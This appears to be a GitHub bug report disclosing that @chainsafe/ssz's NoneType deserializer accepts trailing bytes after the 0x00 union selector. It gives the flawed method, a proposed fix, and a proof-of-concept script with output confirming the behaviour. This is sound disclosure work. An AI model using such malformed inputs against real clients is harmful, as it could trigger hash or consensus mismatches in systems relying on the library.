SSZ Union Deserialization Vulnerable to Trailing Data for Certain Variants
- Dominant language
- TypeScript
- Stars
- 61
- Forks
- 26
- Avg merge
- 3h 20m
- Merged PRs (30d)
- 6
Description
**Describe the bug**
When the None variant (selector 0x00) is selected, the payload should be strictly zero-length. Vulnerable implementations may parse the selector, then ignore any trailing bytes in the payload, leading to hash mismatches.
**Expected behavior**
The value_deserializeFromBytes method for NoneType should be updated to strictly assert that _data (specifically the range start to end) contains no bytes. If end - start is not 0, it should throw an error.
**Steps to Reproduce**
The `value_deserializeFromBytes` method for `NoneType` in `/packages/ssz/src/type/none.ts` ignores any trailing bytes when the selector is `0x00`:
```tsx
value_deserializeFromBytes(_data: ByteViews, _start: number): null {
return null;
}
```
**PoC**
```tsx
import { NoneType, UintNumberType, UnionType } from "@chainsafe/ssz";
// Define a simple Union type: Union[None, Uint8]
// Selector 0 for NoneType, Selector 1 for Uint8
const noneType = new NoneType(); // Fixed: Removed redundant 'new'
const uint8Type = new UintNumberType(1); // Represents a uint8
const customUnionType = new UnionType([noneType, uint8Type]);
// --- PoC for Dirty Tail on None ---
// Goal: Demonstrate that @chainsafe/ssz deserializes a Union type
// with selector 0 (None) and unexpected trailing data without error.
console.log("--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---");
// 1. Construct a dirty input
// Selector 0x00 for NoneType, followed by a dirty byte 0xFF
const dirtyBytes = Buffer.from("00ff", "hex");
console.log(`Attempting to deserialize dirty bytes: ${dirtyBytes.toString('hex')}`);
try {
const deserialized = customUnionType.deserialize(dirtyBytes);
// If we reach here, deserialization was successful.
// Check if it's the None variant as expected.
if (deserialized.selector === 0 && deserialized.value === null) {
console.log("SUCCESS: Deserialized to None variant as expected.");
console.log("VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.");
console.log(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
} else {
console.error("FAILURE: Deserialized to an unexpected value. PoC logic might need adjustment.");
console.error(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
}
} catch (error: any) {
// If an error is thrown, it means the client correctly rejected the dirty input.
console.log(`Client correctly rejected dirty bytes. Not vulnerable. Error: ${error.message}`);
}
console.log("--- PoC End ---");
```
Output:
```
--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---
Attempting to deserialize dirty bytes: 00ff
SUCCESS: Deserialized to None variant as expected.
VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.
Deserialized value: Selector 0, Value: null
--- PoC End ---
```
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.